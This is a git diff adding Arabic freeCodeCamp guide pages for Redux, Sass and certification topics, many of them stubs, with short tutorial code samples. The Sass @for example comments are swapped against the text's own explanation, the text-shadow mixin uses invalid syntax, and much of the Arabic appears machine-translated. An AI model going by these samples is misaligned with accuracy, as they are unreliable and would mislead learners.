index 0000000000..9866bba6e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
@@ -0,0 +1,32 @@
+---
+title: Handle an Action in the Store
+localeTitle: التعامل مع العمل في المتجر
+---
+## التعامل مع العمل في المتجر
+
+### حل
+
+ `const defaultState = { 
+  login: false 
+ }; 
+ 
+ const reducer = (state = defaultState, action) => { 
+  // change code below this line 
+  if (action.type === 'LOGIN') { 
+    return  { 
+    login: true 
+    } 
+    } else { 
+      return defaultState 
+  }; 
+  // change code above this line 
+ }; 
+ 
+ const store = Redux.createStore(reducer); 
+ 
+ const loginAction = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/index.md
new file mode 100644
index 0000000000..c3a1298a18
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux
+localeTitle: مسترجع
+---
+## مسترجع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/never-mutate-state/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/never-mutate-state/index.md
new file mode 100644
index 0000000000..b93a9282c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/never-mutate-state/index.md
@@ -0,0 +1,9 @@
+---
+title: Never Mutate State
+localeTitle: أبدا تحور الدولة
+---
+## أبدا تحور الدولة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/never-mutate-state/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/register-a-store-listener/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/register-a-store-listener/index.md
new file mode 100644
index 0000000000..8becfc529a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/register-a-store-listener/index.md
@@ -0,0 +1,55 @@
+---
+title: Register a Store Listener
+localeTitle: تسجيل مستمع المتجر
+---
+## تسجيل مستمع المتجر
+
+دعونا نكسر التعليمات إلى أسفل لتحديد ما يطلبه بالضبط.
+
+> _اكتب دالة رد اتصال تقوم بزيادة عدد المتغير الشامل في كل مرة يتلقى فيها المخزن إجراءً وتمرير هذه الوظيفة إلى أسلوب store.subscribe ()._
+
+يمكننا تلخيص هذه الخطوات في قطع صغيرة:
+
+1.  اكتب وظيفة رد اتصال
+2.  زيادة عدد المتغيرات العالمية
+3.  تمرير وظيفة إلى `store.subscribe()` طريقة.
+
+رائع! الآن دعونا نراجع بعض الأساسيات مرة أخرى.
+
+### ما هي "وظيفة رد الاتصال" في الإنجليزية بسيطة؟
+
+وظيفة رد الاتصال هي ببساطة دالة يتم استدعائها بعد إجراء وظيفة أخرى يتم تنفيذها. في العالم الحقيقي ، قد يكون شيء من هذا القبيل:
+
+ `// You drop your car off at the mechanic and you want the shop to 'call you back' when your car is fixed. 
+ let carIsBroken = true; 
+ const callCarOwner = () => console.log('Hello your car is done!'); 
+ const fixCar = (carIsBroken, callCarOwner) => { 
+  if (carIsBroken === true) { 
+    carIsBroken = false; 
+  } 
+  console.log(carIsBroken); 
+  // After the car is fixed, the last thing we do is call the car owner - that's our 'callback function'. 
+  callCarOwner(); 
+ } 
+ fixCar(carIsBroken, callCarOwner); 
+` 
+
+### كيف تزيد من عدد المتغيرات؟
+
+يمكننا القيام بذلك عن طريق استخدام عامل التشغيل "+ =".
+
+ `let count = 1; 
+ const addOne = () => count +=1; 
+` 
+
+### كيف يمكنك تمرير وظيفة إلى طريقة؟
+
+يمكننا تمرير وظيفة إلى طريقة بالطريقة نفسها التي قد نمرر بها متغيرًا إلى طريقة ما. فقط قم بتمريرها كحجة!
+
+ `function sayHi() { 
+  console.log('Hi!'); 
+ } 
+ store.subscribe(sayHi); 
+` 
+
+تريد تحديث هذا؟ [تحرير هذا كعب الرهان على جيثب.](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/register-a-store-listener/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
new file mode 100644
index 0000000000..3c3543d6fd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Item from an Array
+localeTitle: إزالة عنصر من صفيف
+---
+## إزالة عنصر من صفيف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
new file mode 100644
index 0000000000..b3782f676a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
@@ -0,0 +1,9 @@
+---
+title: Send Action Data to the Store
+localeTitle: إرسال بيانات الإجراء إلى المتجر
+---
+## إرسال بيانات الإجراء إلى المتجر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
new file mode 100644
index 0000000000..0e6f6e75eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
@@ -0,0 +1,11 @@
+---
+title: Use a Switch Statement to Handle Multiple Actions
+localeTitle: استخدم بيان تبديل للتعامل مع إجراءات متعددة
+---
+## استخدم بيان تبديل للتعامل مع إجراءات متعددة
+
+نصيحة: تأكد من عدم استخدام الأوامر "break" بعد عبارات الإعادة داخل حالات التبديل.
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/use-const-for-action-types/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
new file mode 100644
index 0000000000..19ebb6a5da
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
@@ -0,0 +1,80 @@
+---
+title: Use const for Action Types
+localeTitle: استخدم const for Action Types
+---
+## استخدم const for Action Types
+
+### استخدام const for Action Types له ميزة كبيرة على استخدام السلاسل.
+
+**يمكن أن يؤدي الخطأ الإملائي غير المقصود في السلاسل إلى أخطاء.**
+
+يمكنك `type: 'LOGIN'` الهجاء `type: 'LOGIN'` بشكل صحيح في منشئ الفعل الخاص بك ولكن `type: 'LOGN'` الخطأ `type: 'LOGN'` في المخفض كما هو موضح أدناه.
+
+ `const loginUser = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case 'LOGN': 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case 'LOGOUT': 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+` 
+
+باستخدام const لنوع الإجراء ، لن يهم ما إذا كانت السلسلة تحتوي على أخطاء إملائية لأن كل من رمز تبديل المُخفض ونوع الإجراء `const` نفس `const` . باستخدام `const` قد يؤدي أيضا محرر التعليمات البرمجية ليشير إلى `const` كما كنت تكتب عليه، وبالتالي تقليل فرصة mispelling و `const` .
+
+سيظهر الرمز الموضح أدناه.
+
+ `const LOGIN = 'blahblahblah'; 
+ const LOGOUT = 'wahwahwahwah'; 
+ 
+ const loginUser = () => { 
+  return { 
+    type: LOGIN 
+  } 
+ }; 
+ 
+ const logoutUser = () => { 
+  return { 
+    type: LOGOUT 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case LOGIN: 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case LOGOUT: 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
new file mode 100644
index 0000000000..d9a2c49ce8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Middleware to Handle Asynchronous Actions
+localeTitle: استخدام الوسيطة لمعالجة الإجراءات غير المتزامنة
+---
+## استخدام الوسيطة لمعالجة الإجراءات غير المتزامنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
new file mode 100644
index 0000000000..01009c2f62
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Spread Operator on Arrays
+localeTitle: استخدم Spread Operator على صفائف
+---
+## استخدم Spread Operator على صفائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
new file mode 100644
index 0000000000..9b3ccd36a2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Write a Counter with Redux
+localeTitle: اكتب عدادًا مع Redux
+---
+## اكتب عدادًا مع Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
new file mode 100644
index 0000000000..1f5764d4d9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
@@ -0,0 +1,9 @@
+---
+title: Apply a Style Until a Condition is Met with @while
+localeTitle: تطبيق نمط حتى يتم استيفاء الشرط معwhile
+---
+## تطبيق نمط حتى يتم استيفاء الشرط معwhile
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
new file mode 100644
index 0000000000..5e75386163
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
@@ -0,0 +1,46 @@
+---
+title: Create Reusable CSS with Mixins
+localeTitle: إنشاء CSS القابل لإعادة الاستخدام مع Mixins
+---
+## إنشاء CSS القابل لإعادة الاستخدام مع Mixins
+
+`Mixin` هي واحدة من الميزات الرائعة التي تسمح للمطورين باستخدام `SASS` بدلاً من `CSS` عادي ، حيث تتيح لك الحصول على `Function` داخل ورقة الأنماط الخاصة بك!
+
+لإنشاء مزيج يجب اتباع النظام التالي:
+
+ `@mixin custom-mixin-name($param1, $param2, ....) { 
+    // CSS Properties Here... 
+ } 
+` 
+
+ولاستخدامه في العنصر (العناصر) ، يجب عليك استخدام `@include` يليه اسم `Mixin` الخاص بك ، على النحو التالي:
+
+ `element { 
+    @include custom-mixin-name(value1, value2, ....); 
+ } 
+` 
+
+* * *
+
+### \[مثال\] اكتب `Text Shadow` في `SASS`
+
+**الهدف:** تطبيق `Text Shadow` مخصص على عنصر `h4`
+
+#### HTML
+
+ `
+<h4>This text needs a Shadow!</h4> 
+` 
+
+#### SASS _(مكتوبة في بناء جملة SCSS)_
+
+ `@mixin custom-text-shadow($offsetX, $offsetY, $blurRadius, $color) { 
+    -webkit-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -moz-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -ms-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+ } 
+ h2 { 
+    @include custom-text-shadow(1px, 3px, 5px, #999999) 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
new file mode 100644
index 0000000000..e7ada20a4b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Extend One Set of CSS Styles to Another Element
+localeTitle: توسيع مجموعة واحدة من أنماط CSS لعنصر آخر
+---
+## توسيع مجموعة واحدة من أنماط CSS لعنصر آخر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/index.md
new file mode 100644
index 0000000000..4c9cbd75a8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/index.md
@@ -0,0 +1,11 @@
+---
+title: SASS
+localeTitle: ساس
+---
+## ساس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/nest-css-with-sass/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
new file mode 100644
index 0000000000..14524d10a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
@@ -0,0 +1,41 @@
+---
+title: Nest CSS with Sass
+localeTitle: عش المغلق مع ساس
+---
+## عش المغلق مع ساس
+
+*   في Sass ، يتيح تداخل قواعد CSS تحديد محددات التسلسل الهرمي.
+*   يمكنك تنظيم أوراق الأنماط الخاصة بك عن طريق تضمين قواعد CSS.
+
+## مثال
+
+ `.title{ 
+  strong{} 
+  em{} 
+ } 
+ 
+ // This will be compiled into: 
+ 
+ .title{} 
+ .title strong{} 
+ .title em{} 
+` 
+
+## تلميح 1:
+
+*   قد ترغب في تغيير موضع "}" في السطر 4.
+
+## حل
+
+ `<style type='text/sass'> 
+  .blog-post { 
+    h1 { 
+     text-align: center; 
+     color: blue; 
+    } 
+    p { 
+        font-size: 20px; 
+    } 
+  } 
+ </style> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
new file mode 100644
index 0000000000..402f5cc3d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Styles into Smaller Chunks with Partials
+localeTitle: تقسيم الأنماط الخاصة بك إلى قطع أصغر مع Partials
+---
+## تقسيم الأنماط الخاصة بك إلى قطع أصغر مع Partials
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
new file mode 100644
index 0000000000..d4cdb6131f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
@@ -0,0 +1,20 @@
+---
+title: Store Data with Sass Variables
+localeTitle: تخزين البيانات مع متغيرات ساس
+---
+## تخزين البيانات مع متغيرات ساس
+
+## حل
+
+ `<style type='text/sass'> 
+ 
+  $text-color: red; // Declaration of the variable "text-color". 
+ 
+  .header{ 
+    text-align: center; 
+  } 
+  .blog-post, h2 { 
+    color: $text-color; // Changing the value of color with the value of "text-color". 
+  } 
+ </style> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
new file mode 100644
index 0000000000..d2bcc2fe56
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @each to Map Over Items in a List
+localeTitle: استخدمeach إلى خريطة Over Items في قائمة
+---
+## استخدمeach إلى خريطة Over Items في قائمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
new file mode 100644
index 0000000000..2bd18b2ee7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
@@ -0,0 +1,61 @@
+---
+title: Use @for to Create a Sass Loop
+localeTitle: استخدمfor لإنشاء Sass Loop
+---
+## استخدمfor لإنشاء Sass Loop
+
+1.  البنية الأساسية لـ `@for` loop في `@for` :
+
+*   ل - من خلال حلقة:
+
+ `@for $i from <start number> through <end number> { 
+  // some CSS 
+ } 
+` 
+
+*   ل- للحلقة:
+
+ `@for $i from <start number> to <end number> { 
+  // some CSS 
+ } 
+` 
+
+لاحظ أن الاختلاف الرئيسي هو أن "البداية إلى النهاية" **تستبعد** الرقم النهائي ، و "البدء من خلال النهاية" **يتضمن** الرقم النهائي.
+
+2.  فمثلا:
+
+*   ل - من خلال حلقة:
+
+ `@for $i from 1 through 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 
+` 
+
+*   ل- للحلقة:
+
+ `@for $i from 1 to 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 3 
+` 
+
+3.  المبدأ التوجيهي من [المبادئ التوجيهية SASS](https://sass-guidelin.es/#loops)
+
+قد تكون حلقة `@for` مفيدة عند دمجها مع CSS `:nth-*` pseudo-classes. باستثناء هذه السيناريوهات ، تفضل حلقة `@each` إذا كان عليك التكرار أكثر من شيء ما.
+
+ `@for $i from 1 through 10 { 
+  .foo:nth-of-type(#{$i}) { 
+    border-color: hsl($i * 36, 50%, 50%); 
+  } 
+ } 
+` 
+
+استخدم دائمًا `$i` كاسم متغير للالتزام بالاتفاقية المعتادة وما لم يكن لديك سبب جيد بالفعل ، لا تستخدم الكلمة المفتاحية أبدًا: استخدمها دائمًا. العديد من المطورين لا يعرفون حتى Sass يقدم هذا الاختلاف. قد يؤدي استخدامها إلى الارتباك.
+
+تأكد أيضًا من احترام هذه الإرشادات للحفاظ على سهولة القراءة:
+
+*   دائما خط جديد فارغ قبل `@for` ؛
+*   دائماً سطر فارغ جديد بعد قوس الإغلاق (}) إلا إذا كان السطر التالي هو قوس إغلاق (}).
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
new file mode 100644
index 0000000000..2dd8f9e365
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @if and @else to Add Logic To Your Styles
+localeTitle: استخدمif وelse لإضافة منطق إلى الأنماط الخاصة بك
+---
+## استخدمif وelse لإضافة منطق إلى الأنماط الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/index.md b/client/src/guide/arabic/certifications/index.md
new file mode 100644
index 0000000000..2d92885e76
--- /dev/null
+++ b/client/src/guide/arabic/certifications/index.md
@@ -0,0 +1,30 @@
+---
+title: Certifications
+localeTitle: الشهادات
+---
+## الشهادات
+
+### نظرة عامة
+
+هناك ستة شهادات freeCodeCamp:
+
+*   تصميم الويب سريع الاستجابة
+*   الخوارزميات وهياكل البيانات
+*   مكتبات الواجهة الأمامية
+*   عرض مرئي للمعلومات
+*   واجهات برمجة التطبيقات والخدمات Microservices
+*   أمن المعلومات وضمان الجودة
+
+يجب أن يستغرق إكمال كل منهج شهادة ما يقرب من 300 ساعة ويشمل 5 مشاريع مطلوبة ، في حين أن التحديات الأخرى اختيارية.
+
+### شهادة تطوير المكدس الكامل
+
+عند الانتهاء من جميع الشهادات الست ، سيتم إصدار [شهادة برنامج تطوير المكدس الكامل](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) FreeCodeCamp. يشير هذا التمييز النهائي إلى إكمال حوالي 1800 ساعة من الترميز مع التعرض لمجموعة واسعة من أدوات تطوير الويب.
+
+لمزيد من المعلومات حول freeCodeCamp ، قم بزيارة [about.freecodecamp.org](https://about.freecodecamp.org/) .
+
+لمزيد من المعلومات حول برنامج الشهادات الجديد ، راجع مشاركة المنتدى [هنا](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
+
+### ربط شهادة مطور برامج Android
+
+طريقة رائعة لاختبار مهارات Android وشهادة ذلك من قِبل Google. الرابط إلى الشهادة وتفاصيلها [هنا](https://developers.google.com/training/certification/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
new file mode 100644
index 0000000000..b6f7975b58
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
@@ -0,0 +1,9 @@
+---
+title: Announce New Users
+localeTitle: الإعلان عن مستخدمين جدد
+---
+## الإعلان عن مستخدمين جدد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
new file mode 100644
index 0000000000..2018dcee75
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication Strategies
+localeTitle: استراتيجيات التوثيق
+---
+## استراتيجيات التوثيق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
new file mode 100644
index 0000000000..93a0b9b964
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication with Socket.IO
+localeTitle: المصادقة مع Socket.IO
+---
+## المصادقة مع Socket.IO
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
new file mode 100644
index 0000000000..dd8b79bedb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
@@ -0,0 +1,9 @@
+---
+title: Clean Up Your Project with Modules
+localeTitle: تنظيف المشروع الخاص بك مع وحدات
+---
+## تنظيف المشروع الخاص بك مع وحدات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
new file mode 100644
index 0000000000..7bf7d7ed28
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
@@ -0,0 +1,9 @@
+---
+title: Communicate by Emitting
+localeTitle: التواصل عن طريق انبعاث
+---
+## التواصل عن طريق انبعاث
+
